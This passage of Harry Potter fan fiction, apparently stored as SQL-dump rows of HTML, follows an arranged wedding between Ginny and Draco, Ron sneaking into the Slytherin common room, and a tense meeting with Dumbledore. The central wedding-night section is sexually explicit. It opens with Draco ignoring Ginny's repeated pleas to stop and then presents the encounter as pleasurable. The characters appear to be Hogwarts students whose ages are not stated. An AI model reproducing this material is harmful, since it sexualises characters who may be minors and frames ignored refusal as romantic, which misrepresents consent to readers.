Mrs Weasley continued, her voice laced with venom and honey. &#8220;I&#8217;d hate to have to do something drastic.&#8221; She picked up the hem of Ginny&#8217;s robes and obsessively added yet another row of seed pearls to the hem with her wand. &#8220;And Hermione <i>will</i> be attending the wedding and the feast, whether you like it or not. I want her silly little head to be <i>reeling</i> at the evidence of her handy-work.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Molly!&#8221; Mr Weasley chided. &#8220;That&#8217;s uncalled for. Hermione&#8217;s a lovely girl.&#8221;</p>\n\n<p></p>\n\n<p> Ginny was confused as to who she thought was right. She was still angry with Hermione, but she also considered her a good friend and wanted her to be at the wedding. It seemed like she&#8217;d get her wish now.</p>\n\n<p></p>\n\n<p> Meanwhile, her mother snorted. &#8220;A lovely girl who&#8217;s been filling our daughter&#8217;s head with all sorts of nonsense.&#8221; She paused to tug at an imaginary wrinkle on Ginny&#8217;s robes. &#8220;I&#8217;m just glad that Ron figured it out for himself before I had to think about how I would coax children out of her if they married.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, because Pansy Parkinson is going to be so much easier to convince,&#8221; Draco crooned slyly, glancing at his nails in an exercise of boredom. He lifted his face and addressed Mrs Malfoy. &#8220;Are we still waiting for Professor Snape, Mother, or can we go in yet?&#8221;</p>\n\n<p></p>\n\n<p> Ginny outright giggled at the look of undisguised horror on her mother&#8217;s face. She tried to scowl at Draco, but her mirth made it completely ineffective.</p>\n\n<p></p>\n\n<p> &#8220;No!&#8221; Mrs Weasley gasped. &#8220;Not another one. Oh, my Ron!&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley led his wife to the doors. &#8220;Come now, Molly. You don&#8217;t want to get all worked up. Let&#8217;s lead the children in now and you can fret later.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But Ron could be off doing God knows what with the Parkinson girl right <i>now</i>,&#8221; she protested, planting her feet firmly on the floor. &#8220;Is Harry sure that he fancies Hermione?&#8221; She looked past them at the wall, a frown tugging her lips. &#8220;I mean, young love rarely lasts. Maybe she&#8217;ll get sick of Harry and be interested in Ron again.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mum!&#8221; Ginny exclaimed. &#8220;You leave them alone. Hermione is practically all Harry has left, and they&#8217;re friends with Ron again. Don&#8217;t plot any matchmaking schemes, please?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley burst into sudden tears and buried her head in her husband&#8217;s chest. He wrapped her in his arms and patted her back quietly. &#8220;There, there, Molly. Maybe you&#8217;ll be able to plan another wedding soon. Imagine how fun that will be, hmmn?&#8221;</p>\n\n<p></p>\n\n<p> She lifted her head up just enough for air and wailed: &#8220;All of my children are leaving me!&#8221;</p>\n\n<p></p>\n\n<p> Ginny saw Draco roll his eyes and lean back against the wall, chatting quietly with his mother. She suppressed her desire to do the same, even if she wasn&#8216;t overly fond of Draco&#8216;s mother. Mrs Weasley blew her nose into a handkerchief loudly and cast a drying charm on Mr Weasley&#8217;s damp robes.</p>\n\n<p></p>\n\n<p> &#8220;I still have you, though,&#8221; she sniffled. &#8220;And Percy. And the chickens.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy glanced at them all sideways, but said nothing. Ginny was busy being quietly horrified, but Mr Weasley grasped his wife&#8217;s shoulders and squeezed affectionately. </p>\n\n<p></p>\n\n<p> &#8220;Perhaps you should rest for a bit, love.&#8221; The lines of his face were tensed to the point of snapping. &#8220;You&#8217;re not yourself.&#8221;</p>\n\n<p></p>\n\n<p> She shook him off and looked down whilst she composed herself again. &#8220;No, I&#8217;m quite all right, dear. Just nerves.&#8221; </p>\n\n<p></p>\n\n<p> Ginny and her father shared a glance. Ginny supposed that she wasn&#8217;t the only one who thought her mother had gone round the bend, but they said nothing to each other about this. Their silent communication was all that was needed to assure one another that they had, indeed, heard correctly.</p>\n\n<p></p>\n\n<p> &#8220;I see Professor Snape,&#8221; Draco said loudly. &#8220;Finally.&#8221;</p>\n\n<p></p>\n\n<p> Ginny looked over her shoulder to see her Potions&#8217; professor bearing down on them swiftly. She stepped aside to assume ranks. Draco quickly pinched his cigarette. </p>\n\n<p></p>\n\n<p> The Professor would walk in first with Draco&#8217;s mother. Since he was Head of Slytherin and a long-time family friend of the Malfoy&#8216;s, it was only fitting that he take Lucius&#8217; place today. Her parents would follow next. Then it would be just her and Draco.</p>\n\n<p></p>\n\n<p> Draco&#8217;s hand gripped Ginny&#8217;s firmly as he led her through the double doors; she looked at him in surprise when she felt it, damp and trembling. He cocked an eyebrow at her. </p>\n\n<p></p>\n\n<p> &#8220;You know this is permanent, right?&#8221;</p>\n\n<p></p>\n\n<p> Ginny sighed and tried to focus on the platform looming ahead, where <i>exactly </i>she would stand to be married. &#8220;Yes, I know. But what can we do?&#8221;</p>\n\n<p></p>\n\n<p> Draco shrugged. &#8220;Nothing.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmn,&#8221; Ginny mumbled in acknowledgment of their imminent imprisonment. That must have been Hermione&#8217;s voice again, she thought. Marriages should be happy, Ginny mused. It would be dull, and lonely, and lacking in certain physical areas, but she could surely find something to make it bearable.</p>\n\n<p></p>\n\n<p> Ginny plastered a smile on her face as they neared the Wizengamot&#8217;s representative. He spoke a few traditional words to the crowd before asking for their wands. </p>\n\n<p></p>\n\n<p> It was with hesitation that Ginny slipped hers from her sleeve and placed it in the gnarled palm waiting to bind her wand to Draco&#8217;s, but all the same, she did so. Behind her, Ginny could hear the twins grumbling and muttering with Charlie, Bill, and Ron; likely plotting Draco&#8217;s death or, at least, a severe hexing.</p>\n\n<p></p>\n\n<p> Ginny found the smile was not so forced after that.</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n</font>\n\n<p>\n\n<b>You know the drill. Reviewing and goodness and souls and all that. Feel free to beat me or pet me or what-have-you.</b></p>\n\n</blockquote>\n\n '),
	(271, 34, ' <blockquote>\n\n<b><font face="Palatino Linotype"><p>Author&#8217;s Notes:</p>\n\n<p> Oh my poor, poor readers. ::shakes head:: I&#8217;ve been away for so long and I feel absolutely dreadful about it. The only excuses I have is work and life dramas. Well, hopefully you&#8217;ll all forgive me for that after you read this chapter. There&#8217;s fumbles. There&#8217;s deception. There&#8217;s sex. Yes. And it&#8217;s rough sex, too, so be forewarned. But who&#8217;s shagging whom? Ahh . . . Well, you shall see. Forward on, gentle reader, forward on. (This chapter&#8217;s Beta Reader shall be played by the ever kind and humble Mathaliel. Bless her.)</p>\n\n</font></b><p></p><font face="Palatino Linotype">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p><i><b>Yet each man kills the thing he loves, <br>\n By each let this be heard, <br>\n Some do it with a bitter look, <br>\n Some with a flattering word, <br>\n The coward does it with a kiss, <br>\n The brave man with a sword. </b>\n\n</i></p><p><i> ~ The Ballad of Reading Gaol.</i>\n\n</p><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> Ron generally hated attending wedding feasts with Muggle-born guests because of all the questions they asked. &#8216;Why do wizarding feasts have this or that&#8216;, etc. But the good thing about having Hermione \'Know-it-all\' Granger about was that she could explain all the finer points of tradition to the Muggle-raised Harry Potter.</p>\n\n<p></p>\n\n<p> The downside of having her around was that she never <i>stopped</i> explaining.</p>\n\n<p></p>\n\n<p> &quot;I suppose that those are the fig-wrapped almonds to symbolise . . .&quot;</p>\n\n<p></p>\n\n<p>After roughly ten previous statements by Hermione that covered the history and preparation of almost everything Harry put in his mouth, Ron tuned her out.</p>\n\n<p></p>\n\n<p> Ron made designs with crumbs and bits of his elderberry flower fritter in the sweet cream. He pushed at the food on his plate half-heartedly. He\'d never liked wedding food much anyway; everything always had bloody flowers in it. You couldn\'t even take a bite of something solid, like a nice beef roast, without encountering at least three types of brightly coloured flower petals. </p>\n\n<p></p>\n\n<p> Ron gulped down a goblet of broom bud wine before refilling it and downing two more. Ron found himself scanning the intimate crowd of friends and family for one particular face, even though he knew it was an improbability bordering on an absurdity that she would be here.</p>\n\n<p></p>\n\n<p> Pansy had made it abundantly clear after their shower interlude that she wanted nothing more to do with him. Ron couldn\'t understand why he longed to see her face, hold her slim body against his own, kiss her mouth . . .</p>\n\n<p></p>\n\n<p> He shook his head to clear his thoughts and gulped down another goblet of wine. The almond-flavour lingered in his mouth as he carefully found his feet. Harry stood as well, but Ron motioned for him to stay where he was. </p>\n\n<p></p>\n\n<p> Ron needed to be alone and think things through without the well-meaning chatter of his friends. If that meant he would have to miss having a slice of the wedding cake, he&#8217;d still risk it. Ron was <i>terribly </i>fond of rummy, plummy, moist fruitcake . . . crunchy marzipan . . . but he&#8217;d suffer like a man.</p>\n\n<p></p>\n\n<p> Perhaps he should have asked Harry to bring him a slice later.</p>\n\n<p></p>\n\n<p> Ginny was arguing with their mother as he passed them on his way to the door, so he stopped to listen for a moment.</p>\n\n<p></p>\n\n<p> &quot;But where\'s my egg, Mum? Draco is supposed to crack an egg and give it to me before we eat the cake.&quot;</p>\n\n<p></p>\n\n<p> Mrs Weasley pursed her lips and paused before she bit into a thin slice of beef entombed in marigold petals. &quot;I think Draco\'s cracked enough of your eggs, dear,&quot; she said with some asperity.</p>\n\n<p></p>\n\n<p> Ginny frowned and looked away. Ron felt a tiny smirk twist the flesh of his face. He opened the doors of the hall, already in a better mood. The cooler air of the corridor felt remarkable on Ron\'s flushed face. He took big gulps of it into his lungs, relieved to have escaped the people inside.</p>\n\n<p></p>\n\n<p> Ron wandered out of the corridor and found himself tramping down to the dungeons without much thought. Maybe Pansy\'d be done with detention by now and he could find out where--<i>oof</i>!</p>\n\n<p></p>\n\n<p> He looked down and smiled cheerfully at Millicent Bulstrode. </p>\n\n<p></p>\n\n<p> &#8220;Millie Dear!&#8221; Ron cried happily. &#8220;It&#8217;s such a pleasure to see you today. My, is that a new blouse? Here, let me help you up.&#8221;</p>\n\n<p></p>\n\n<p> Millicent regarded him warily before accepting his hand up from the floor. &#8220;I don&#8217;t know where she is, Weasley.&#8221;</p>\n\n<p></p>\n\n<p> Ron blinked. Weren&#8217;t Slytherins renowned for their subtlety and not their abilities as Seers? &#8220;Um. Where&#8217;s who?&#8221;</p>\n\n<p></p>\n\n<p> She lifted one eyebrow at him. Why was it that all Slytherins seemed to be able to do that? Did Snape give eyebrow-lifting lessons or something? Ron grinned back at her and offered his arm. Girls were too easy sometimes, and Millicent Bulstrode was no exception. She dusted off her bum, slung her rucksack over her shoulder, and linked Ron&#8217;s proffered arm through her own.</p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;She doesn&#8217;t like you, Weasley. You&#8217;re deluding yourself.&#8221;</p>\n\n<p></p>\n\n<p> Ron furrowed his brow. No matter how hard he tried, he couldn&#8216;t lift just <i>one</i> of them. &#8220;Of course she likes me! Fancies me to death. Snogging. Everything.&#8221;</p>\n\n<p></p>\n\n<p> Millicent rolled her eyes. &#8220;Why Pansy? Why not one of the other girls who chase after you? I heard you were dragged off into an unused Charms classroom by three Ravenclaw fifth-years just last week. That had to have been loads of fun for you.&#8221;</p>\n\n<p></p>\n\n<p> Ron stopped and blew his fringe out of his eyes. &#8220;Well, <i>they </i>had fun. At least until I managed to body-bind them and run away.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Think that will work on you?&#8221; Millicent asked, her eyes glinting with suppressed amusement. &#8220;As much as I&#8217;m flattered, I really don&#8217;t enjoy being followed everywhere I go in the hopes that you&#8217;ll see Pansy.&#8221;</p>\n\n<p></p>\n\n<p> Ron slumped over and let his back hit the wall. &#8220;But I really, <i>really</i> fancy her, Millie. You just don&#8217;t know.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I rather think I do. And don&#8217;t call me Millie!&#8221; she warned, waving her beefy hands at him menacingly.</p>\n\n<p></p>\n\n<p> He cringed. &#8220;Sorry. I&#8217;ll remember that next time.&#8221; Ron cleared his throat. &#8220;Anyway, uh, <i>Millicent</i>, don&#8217;t think you could sneak me into your common room, do you?&#8221;</p>\n\n<p></p>\n\n<p> She stared at him blankly. </p>\n\n<p></p>\n\n<p> &#8220;Erm, right. Suppose you wouldn&#8217;t understand what it&#8217;s like to be head-over-heels for someone who couldn&#8217;t give a piss for you.&#8221;</p>\n\n<p></p>\n\n<p> Millicent&#8217;s mouth hardened and she punched Ron in the arm. &#8220;You think you can play on my sympathy? That won&#8217;t work with me.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ow! I wasn&#8217;t trying--&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You were.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I suppose so. Um, so you know what I mean, then?&#8221; Ron smiled hopefully, keeping his expression purposefully open and adding just the smallest measure of puppy-dog entreaty.</p>\n\n<p></p>\n\n<p> Millicent pursed her thick lips and spun on her heel. She took firm strides back in the direction she came from and Ron slumped down even further until she called to him.</p>\n\n<p></p>\n\n<p> &#8220;Coming, Weasley? I haven&#8217;t all day to desecrate the sanctity of my common room with your filth, you know.&#8221;</p>\n\n<p></p>\n\n<p> Ron perked up immediately and ran to catch up with her. He could <i>kiss</i> her for this! That is, if she wasn&#8217;t so repulsive and he wasn&#8217;t hung up on Pansy. </p>\n\n<p></p>\n\n<p> &#8220;Thanks, Millie!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t call me Millie,&#8221; she said firmly. &#8220;My name is Millicent.&#8221;</p>\n\n<p></p>\n\n<p> Ron ruffled his hair. &#8220;Yeah, I <i>know</i> that.&#8221;</p>\n\n<p></p>\n\n<p> She rolled her eyes and continued to lead him further into the dungeons. Condensation dripped down the walls and Ron had to watch his step so he didn&#8217;t fall flat on his face. He wished that his memory wasn&#8217;t such crap or he could have gone there himself. Getting inside might have been a problem, but Ron felt confident that he could have beat up a firstie or something.</p>\n\n<p></p>\n\n<p> He took the opportunity to study Millicent. She wasn&#8217;t <i>that</i> bad, perhaps. Sleek-Easy would probably help tame her bushy, black hair. And Ron remembered coming across some sort of potion when he was rambling in Ginny&#8217;s room one time that she used to take the hair off of her legs. <i>Why</i> did girls do that? Hmmn. Maybe it would work for Millie&#8217;s upper lip. Then he could help her pull whatever bloke she had her eye on. It would be the nice thing to do for her after all the help she had been.</p>\n\n<p></p>\n\n<p> &#8220;So who&#8217;s the lucky lad, anyway?&#8221; Ron nudged her slyly. &#8220;I&#8217;ll help you bag him if you want.&#8221;</p>\n\n<p></p>\n\n<p> Millicent kept walking, her podgy hand tightening on the strap of her rucksack. &#8220;I don&#8217;t think so, Weasley.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Aw, come on! After this, it&#8217;s the least I can do.&#8221; Ron blinked. &#8220;Unless it&#8217;s Malfoy and then I just can&#8217;t do because Mum and Ginny would kill me.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;S&#8217;not Malfoy,&#8221; she muttered. &#8220;We&#8217;re almost there, Weasley. Keep your trap shut or I can&#8217;t get you in.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Right,&#8221; Ron agreed, narrowing his eyes in the gloom. He was quiet for a moment before his curiosity got the better of him. &#8220;So is it Harry, then? I mean, he&#8217;s taken, too. That would explain your touchiness on the subject.&#8221;</p>\n\n<p></p>\n\n<p> Millicent stopped and hit him with her rucksack. &#8220;I said shut <i>up!</i>&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Okay, okay.&#8221; Ron rubbed his shoulder and looked up. The tapestry to the Slytherin common room was just ahead. &#8220;There it is, I recognise it now. Give me the password and run so you don&#8217;t get in trouble with your sister snakes.&#8221;</p>\n\n<p></p>\n\n<p> She blew her hair out of her face and tugged at her rucksack. &#8220;I really shouldn&#8217;t do this.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t be such a baby.&#8221;</p>\n\n<p></p>\n\n<p> Millicent shifted from foot to foot. &#8220;It&#8217;s <i>Serpens Cavea</i>.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;That makes brilliant sense and I should have guessed, but thanks.&#8221; </p>\n\n<p></p>\n\n<p> Ron was so giddily, drunkenly happy that he kissed her on the cheek and rushed off for the tapestry. Somewhere in the back of his mind, he thought that he&#8217;d have to send Pansy to check on Millicent later. She seemed sort of feverish.</p>\n\n<p></p>\n\n<p></p>\n\n<p>===========================</p>\n\n<p></p>\n\n<p></p>\n\n<p>Ginny, who had been up since dawn in preparation for her wedding, was thoroughly exhausted by the time she made it to her new room. Some detached part of her mind noticed that all of Draco&#8217;s and her belongings were now neatly stored at the foot of an enormous four-poster bed that took up most of the small tower room.</p>\n\n<p></p>\n\n<p> The hangings on the bed were burnished gold velvet trimmed with cream satin and draped in thick puddles over the mahogany posts. The room itself was circular, with no corners in which creepy things might hide. It was safe, familiar, and welcoming.</p>\n\n<p></p>\n\n<p> Ginny set her lantern down on the bedside table and pulled the shade low. She sighed and turned to see Draco standing in front of a lead-paned window facing the lake, his hands were splayed on the glass and frost outlined his fingers.</p>\n\n<p></p>\n\n<p> She walked toward him hesitantly, but stopped when Draco turned his head slightly in her direction. The full moon chose that moment to reveal herself from behind a filmy mantle of clouds. Silver light flooded the room, casting Draco&#8217;s profile into a sharp silhouette with oddly-illuminated edges.</p>\n\n<p></p>\n\n<p> &#8220;Come here,&#8221; he whispered, his voice rough as if he hadn&#8217;t just spoken a few minutes ago when they had left the remnants of the feast behind.</p>\n\n<p>\n\n</p>\n\n<p> Ginny shivered and gripped the backs of her arms. There was something dangerous about Draco tonight; something lithe and prowling . . . a feral gleam in his eyes that made the tiny hairs all over her body prickle. Her spine tingling, Ginny edged back toward her trunk.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve been in these robes all day, Draco,&#8221; she said, forcing her voice to sound slightly whiny, but still light and unaffected. &#8220;Let me change into my nightdress before we start bickering about sleeping arrangements again.&#8221;</p>\n\n<p></p>\n\n<p> Ginny chanced a look at him from the corner of her eye, but Draco hadn&#8217;t moved. He hunted her with his eyes, following the progress of her hands as she loosened the ties of her skirt and stepped out of it. She bent to pick it up and suddenly, he was there. No footfall had betrayed his movements, and Ginny gasped in the beginnings of true fear.</p>\n\n<p></p>\n\n<p> Draco&#8217;s hands grasped her hips and pulled them tight against his own, his fingers trailed up Ginny&#8217;s side and to her back to loosen the bodice she still wore.</p>\n\n<p></p>\n\n<p> &#8220;Let me help you with that.&#8221;</p>\n\n<p></p>\n\n<p> His voice was still uneven and wild. Ginny shuddered and repressed a moan at the exquisite torment his slowly sliding fingers and heavy breathing on her neck were wreaking on her senses. She fought the hot ribbon of passion weaving itself around her belly and thighs.</p>\n\n<p></p>\n\n<p> &#8220;I--I thought that we weren&#8217;t going to--&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Shh,&#8221; Draco soothed. It rang strangely hollow to Ginny&#8216;s ears, as if his mind was elsewhere. &#8220;You&#8217;re mine tonight . . .&#8221; He moved his mouth to the side and nipped her earlobe. &#8220; . . . and every night for the rest of our lives.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s eyes widened as he slipped her bodice down over her shoulders and let it fall to the floor. She jerked away from him and crossed her arms over her chest. She was nearly naked now and there was no defence against him, only a thin barrier of white cotton to prevent-- </p>\n\n<p></p>\n\n<p> &#8220;We are <i>not </i>doing this, Draco,&#8221; Ginny said firmly. &#8220;I told you that I would never sleep with you again and I meant it.&#8221;</p>\n\n<p></p>\n\n<p> She turned and shoved his chest with her hands, pushing him away. He stumbled backwards and barely prevented himself from falling over by catching hold of the bedside table.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m sure they can find another room for you tonight, Draco,&#8221; Ginny said, boosting her confidence by imagining that her voice was a thick acid eating at his lust and dominance. &#8220;You&#8217;re not staying here.&#8221;</p>\n\n<p></p>\n\n<p> The lantern on the table had flickered out when Draco jostled it, so she couldn&#8217;t see anything except his glittering eyes in the enfolding gloom. But she heard him as he moved closer now and closer, his breath hot on her face, the light stubble on his jaw grating the thin skin of her cheek.</p>\n\n<p></p>\n\n<p> Ginny fumbled for her wand on the bed behind her, her heart beating a sharp staccato against her breast, almost in time with Draco&#8217;s, which was pressed against her chest. He wasn&#8217;t speaking, he utterly ignored her squirms and physical protests.</p>\n\n<p></p>\n\n<p> &#8220;Stop it!&#8221; Ginny shouted, trying to sound indignant and failing in her own ears as his arms closed around her and his tongue darted out to lick her throat. &#8220;Merlin, <i>please </i>stop it,&#8221; she cried. Her eyes stung and itched with tears but Draco didn&#8217;t stop.</p>\n\n<p></p>\n\n<p> His fingers clamped the sides of her head and he kissed her on the mouth, biting her lips to gain entry. It was hardly pleasant at first, but Ginny found some perverse part of herself giving in to the raw hunger and animalistic lust that he exuded. Draco was the sun and she was spinning in his scorching orbit. Perhaps it was too bright or too hot, but God . . . it felt so <i>good</i>.</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s much too late to get away, Ginny,&#8221; he confided to her mouth, pressing urgent kisses to the juncture of her lips. &#8220;And I can&#8217;t escape either.&#8221;</p>\n\n<p></p>\n\n<p> Draco threaded his fingers in Ginny&#8217;s hair, grasping thick handfuls of it and massaging her scalp lightly with his fingertips.</p>\n\n<p>\n\n</p>\n\n<p> &#8220;So make the best of this then?&#8221; Ginny asked, revelling in the sparks that trailed in the wake of Draco&#8217;s touch. This was almost like the first time, but he was the aggressor - the initiator - now. Tables turned. She closed her eyes. &#8220;This is all we have, I suppose. I don&#8217;t think you could ever<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p> &#8220;No,&#8221; Draco cut her off. &#8220;I don&#8217;t think I ever could.&#8221; Ginny felt his lips twist down sharply against her cheek. &#8220;I wasn&#8217;t made for such things, you know.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Things like love?&#8221; Ginny ventured, gently breaking some agreement that she didn&#8216;t remember making. &#8220;Everyone is made for love.&#8221;</p>\n\n<p>\n\n</p>\n\n<p> &#8220;Not me,&#8221; Draco murmured. </p>\n\n<p></p>\n\n<p> The moon kept shifting behind her shroud, now light and now dark, fluctuating almost as swiftly as Draco&#8217;s mood, but at that moment she chose to trickle into the room and illuminate his face. His fine, pale brows drew together and his eyes were dangerous again. With a snarl, Draco pushed Ginny back on the bed and climbed on top of her, pinning her wrists firmly to the eiderdown with his hands.</p>\n\n<p></p>\n\n<p> Ginny&#8217;s head was still spinning from the sudden movement when Draco reached between them to pull her knickers down over her thighs. They tangled and caught half-way down, even with Ginny lifting her hips to help, and the way he shoved them over her legs scraped the skin off in places. Ginny&#8217;s breath caught in her throat. Draco&#8217;s face was so intense - concentrating solely on what he was doing - but it was also almost as if he wasn&#8217;t actually there and had no control over the movements of his body.</p>\n\n<p></p>\n\n<p> &#8220;Slow down,&#8221; Ginny whispered shakily. &#8220;We have time.&#8221;</p>\n\n<p></p>\n\n<p> He didn&#8217;t speak, but he made a grumbling sound somewhat like a purr and quickly shed his robes, the buttons of his trousers popped off and fell on the floor like rain.</p>\n\n<p></p>\n\n<p> &#8220;Talk to me, Draco,&#8221; Ginny implored him, the raw spots on her legs burning. &#8220;Please talk to me.&#8221;</p>\n\n<p></p>\n\n<p> Ginny had passed the point where she cared about maintaining her protests against reopening their physical relationship, but this didn&#8217;t seem at all right. Yes, she wanted him. Merlin, did she ever want Draco in her arms, his touch and his breath in her ear. What had come over him?</p>\n\n<p></p>\n\n<p> Draco stilled and blinked down at her for a moment, his body tense, then he leant down to sniff at her neck, trailing down over her breasts and belly with his hands and nose, parting her legs to . . . Ginny arched up and clutched at the bedclothes. Draco had never-- he&#8217;d never done <i>this</i> before.</p>\n\n<p></p>\n\n<p> His slender, devilish tongue was working all sorts of magic in a place that he&#8217;d clearly stated over a month ago he would never go again. He wrapped his hands around her thighs and squeezed. While Draco&#8217;s tongue lapped circles and darted quickly in and out of intricate pockets of flesh, exploring every fold and crease, his teeth just barely grazed the heart of it all. They were only slightly too rough, but Ginny liked it that way. If she&#8217;d had higher brain function, she would have admonished herself.</p>\n\n<p></p>\n\n<p> Somehow, Ginny&#8217;s hands wandered from the bedclothes to Draco&#8217;s hair. She wove her fingers deep and plucked at his scalp with her fingertips, soft sighs and moans escaping her lips. The time she&#8217;d shocked herself with one of her father&#8217;s Muggle plugs leapt to her mind, but with the knowledge that this was infinitely more pleasurable than <i>that </i>had been.</p>\n\n<p></p>\n\n<p> As if Draco had perversely read her thoughts, he stopped and crawled back up over her body, settling his weight heavily between her thighs. Ginny could smell his sweat and musk clinging to her fingers and she explored his chest, lightly biting his nipples and sucking his skin into her mouth. </p>\n\n<p></p>\n\n<p> Draco tossed his head and growled low and deep in the back of his throat. Ginny glanced up at him and slid her hands around to cup his bottom, squeezing his flesh rhythmically in invitation. He pushed her thighs wider apart and hardly positioned himself at all before thrusting into her. His hips crashed to hers with a savage cadence, like a drumbeat or a heathen dance. It was base and earthy and timeless.</p>\n\n<p></p>\n\n<p> Ginny&#8217;s back bowed involuntarily and her body melted into the bedclothes as Draco pressed on, burying himself inside of her again and again, filling her. That luscious feeling was building like a slow, steady crescendo, pulsing through her veins. </p>\n\n<p></p>\n\n<p> She bucked her hips against him, trying to find a measure when there was none. Draco&#8217;s fingers skated up her ribs and twirled her nipples with his deft touch, lighting her skin on <i>fire</i>. </p>\n\n<p></p>\n\n<p> Draco didn&#8217;t ask Ginny if she liked that or this, he somehow knew and moved instinctively. And so did she. Ginny wrapped her legs around his waist, pushing her hips closer to his, meeting his thrusts with a swivel of her pelvis. Her arms went round his neck and suddenly her entire body was off the bed, clinging completely to Draco and pressing herself as close to him as she could get.</p>\n\n<p></p>\n\n<p> His pearl-coloured ear was near her mouth and she bit it lightly with her canines, summoning forth a growl from Draco. He shoved her back onto the bed again and pushed her knees to her chest. Ginny groaned as he went deeper into her body than before, hitting shivering spots that she&#8217;d never knew existed.</p>\n\n<p></p>\n\n<p> When Ginny felt herself peaking, she could barely move for Draco&#8217;s weight on top of her, pressing her into the bedclothes. She writhed and twitched and moaned her pleasure, Draco&#8217;s answer a soft roar in her ears.</p>\n\n<p></p>\n\n<p> Ginny&#8217;s legs slipped free from Draco&#8217;s tight grasp and slid around his chest. She rested her heels on his back and he dropped his head to her breast, panting. They laid still for a few minutes before Ginny weakly lifted a hand to stroke his hair back from his face, twining the soft strands between her fingers. Ginny didn&#8217;t know what had come over him so suddenly, but she quite liked it, even though she knew that she shouldn&#8216;t.</p>\n\n<p></p>\n\n<p> Draco was still inside of her and he moved his face slightly to the side and started sucking leisurely on her nipple. He nibbled at the soft underside of her breast and roughly tongued the crease. Ginny closed her eyes, her head spinning at the pleasure that was slowly building all over her body. Though it seemed impossible, Draco was hardening and undulating his hips against hers again. It must be some magic from the wedding because this was hardly normal.</p>\n\n<p></p>\n\n<p> Ginny suspected that it was going to be a very, <i>very</i> long night. </p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> ==================================</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> &quot;I see that you have reconciled.&quot; </p>\n\n<p></p>\n\n<p> Harry nodded at the Headmaster as he let them into his office. &quot;Yes, in a way.&quot;</p>\n\n<p></p>\n\n<p> He wasn\'t about to say anymore on the matter, it was private and come hell or high water, he was keeping it that way. But Dumbledore only moved his head slowly up and down in acknowledgement. </p>\n\n<p></p>\n\n<p> &quot;Ah,&quot; he hummed. &quot;I\'m glad for you all.&quot; Dumbledore waved his hand over a low table set in the midst of four, squashy armchairs gathered together in a rough semi-circle. &quot;Take tea with me? To celebrate your friendship.&quot;</p>\n\n<p></p>\n\n<p> Hermione plucked at Harry\'s sleeve, but he ignored her silent warning. If Du-- Grindl-- who <i>ever</i> it was wanted them dead, they wouldn\'t have survived long enough to make it to his office, much less be offered tea.</p>\n\n<p></p>\n\n<p> All around them the portraits were watching keenly. Phineas Nigellus kept a shrewd, steady watch from the corner of his eye as he pretended to ignore the scene taking place below. Harry squinted up at him before leading Hermione to a chair and settling into the one beside her. Ron came up to flank her other side, which left Dumbledore to take the chair opposite.</p>\n\n<p></p>\n\n<p> Harry pulled out his wand and flicked it at the table, summoning a tea service for four. Then he realised just how weak and clumsy the gesture really was. He shrugged apologetically at Dumbledore.</p>\n\n<p></p>\n\n<p> &quot;Hope you don\'t mind, sir. Hermione prefers a rose blend, you see, and I wasn\'t certain . . .&quot;</p>\n\n<p></p>\n\n<p> Dumbledore leant back in his chair and sighed audibly at the thinly-veiled message that he was no longer trusted by Gryffindor\'s famous - and now reunited - Trio.</p>\n\n<p></p>\n\n<p> &quot;This won\'t do, Harry. Perhaps you should tell me what I can say or do to make you trust me again.&quot;</p>\n\n<p></p>\n\n<p> Hermione lifted a tea cup and precisely measured in a single spoonful of sugar from a crystal bowl Harry was particularly proud of conjuring up. &quot;With all respect, sir, there is little that you can say which will change our opinion, I think.&quot;</p>\n\n<p></p>\n\n<p> &quot;Then to <i>show</i> you may be the way, is that it?&quot;</p>\n\n<p></p>\n\n<p> She thoughtfully licked her lips, weighing and measuring her words. &quot;Again, sir, I don\'t think--&quot;</p>\n\n<p></p>\n\n<p> &quot;The Mirror of Erised.&quot; Dumbledore laid his proverbial card on the table and took a sip of tea from a cup that wasn&#8216;t part of Harry&#8216;s service. &quot;It\'s what you\'ve been looking for.&quot;</p>\n\n<p></p>\n\n<p> &quot;I, well, that is to say <i>we</i>-- we\'ve been looking for it to tell us--&quot;</p>\n\n<p></p>\n\n<p> &quot;To show you the past, which is infinitely preferable to listening to an old man\'s ramblings. Just so, Miss Granger?&quot;</p>\n\n<p></p>\n\n<p> &quot;Aye, sir,&quot; Ron muttered whilst Hermione was busy gaping like a fish at the Headmaster. &quot;But we have to make a sacrifice for it to work that way.&quot;</p>\n\n<p></p>\n\n<p> Harry suddenly shoved his way into the conversation as a thought occurred to him. &quot;That\'s really why you hid the Mirror in second year, isn\'t it?&quot; he accused. &quot;You didn\'t want us to know anything before now; worried that we\'d figure you out!&quot;</p>\n\n<p></p>\n\n<p> Dumbledore set 